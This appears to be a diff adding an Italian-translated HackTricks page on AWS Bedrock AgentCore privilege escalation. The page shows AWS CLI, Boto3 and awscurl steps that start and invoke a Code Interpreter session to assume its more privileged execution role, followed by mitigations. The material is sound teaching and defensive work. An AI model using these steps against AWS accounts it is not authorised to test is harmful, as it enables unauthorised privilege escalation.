Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md

@@ -0,0 +1,113 @@
+# AWS - Bedrock PrivEsc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Amazon Bedrock AgentCore
+
+### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
+
+AgentCore Code Interpreter è un ambiente di esecuzione gestito. I **Custom Code Interpreters** possono essere configurati con un **`executionRoleArn`** che “fornisce permessi al code interpreter per accedere ai servizi AWS”.
+
+Se un **IAM principal con minori privilegi** può **start + invoke** una sessione di Code Interpreter configurata con un **execution role più privilegiato**, il chiamante può effettivamente **pivotare nei permessi dell'execution role** (lateral movement / privilege escalation a seconda dell’ambito del ruolo).
+
+> [!NOTE]
+> Tipicamente questo è un problema di **misconfiguration / excessive permissions** (concessione di permessi troppo ampi all'interpreter execution role e/o concessione di ampio accesso invoke).
+> AWS avvisa esplicitamente di evitare privilege escalation assicurando che gli execution role abbiano **pari o minori** privilegi rispetto alle identità autorizzate a invoke.
+
+#### Prerequisiti (errata configurazione comune)
+
+- Esiste un **custom code interpreter** con un **execution role** sovra-privilegiato (es.: accesso a S3/Secrets/SSM sensibili o capacità simili ad IAM-admin).
+- Un utente (developer/auditor/identità CI) ha i permessi per:
+- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
+- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
+- (Opzionale) L'utente può anche creare interpreter: `bedrock-agentcore:CreateCodeInterpreter` (gli permette di creare un nuovo interpreter configurato con un execution role, a seconda delle guardrail organizzative).
+
+#### Recon (identify custom interpreters and execution role usage)
+
+Elenca i custom interpreters (control-plane) e ispeziona la loro configurazione:
+```bash
+aws bedrock-agentcore-control list-code-interpreters
+aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
+````
+> Il comando create-code-interpreter supporta `--execution-role-arn` che definisce i permessi AWS che avrà l'interprete.
+
+#### Passo 1 - Avviare una sessione (questo restituisce un `sessionId`, non una shell interattiva)
+```bash
+SESSION_ID=$(
+aws bedrock-agentcore start-code-interpreter-session \
+--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
+--name "arte-oussama" \
+--query sessionId \
+--output text
+)
+
+echo "SessionId: $SESSION_ID"
+```
+#### Passo 2 - Invocare l'esecuzione del codice (Boto3 o HTTPS firmato)
+
+Non esiste una **shell python interattiva** da `start-code-interpreter-session`. L'esecuzione avviene tramite **InvokeCodeInterpreter**.
+
+**Opzione A - Esempio Boto3 (eseguire Python + verificare l'identità):**
+```python
+import boto3
+
+client = boto3.client("bedrock-agentcore", region_name="<REGION>")
+
+# Execute python inside the Code Interpreter session
+resp = client.invoke_code_interpreter(
+codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
+sessionId="<SESSION_ID>",
+name="executeCode",
+arguments={
+"language": "python",
+"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
+}
+)
+
+# Response is streamed; print events for visibility
+for event in resp.get("stream", []):
+print(event)
+```
+Se l'interpreter è configurato con un execution role, l'output di `sts:GetCallerIdentity()` dovrebbe riflettere l'identità di quel role (non il low-priv caller), dimostrando il pivot.
+
+**Opzione B - Chiamata HTTPS firmata (awscurl):**
+```bash
+awscurl -X POST \
+"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
+--service bedrock-agentcore \
+--region <Region> \
+-d '{
+"name": "executeCode",
+"arguments": {
+"language": "python",
+"code": "print(\"Hello from AgentCore\")"
+}
+}'
+```
+#### Impatto
+
+* **Lateral movement** nell'accesso AWS concesso al ruolo di esecuzione dell'interprete.
+* **Privilege escalation** se il ruolo di esecuzione dell'interprete è più privilegiato del chiamante.
+* Rilevamento più difficile se CloudTrail data events per le invocazioni dell'interprete non sono abilitati (le invocazioni potrebbero non essere registrate di default, a seconda della configurazione).
+
+#### Mitigazioni / Hardening
+
+* **Least privilege** sull'`executionRoleArn` dell'interprete (trattalo come i ruoli di esecuzione Lambda / i ruoli CI).
+* **Restringere chi può invocare** (`bedrock-agentcore:InvokeCodeInterpreter`) e chi può avviare sessioni.
+* Usa **SCPs** per negare InvokeCodeInterpreter eccetto per i ruoli runtime agent approvati (può essere necessario enforcement a livello org).
+* Abilitare appropriati **CloudTrail data events** per AgentCore dove applicabile; allertare su invocazioni inaspettate e creazione di sessioni.
+
+## Riferimenti
+
+- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
+- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
+- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
+- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
+- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
+- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
+
+
+{{#include ../../../../banners/hacktricks-training.md}}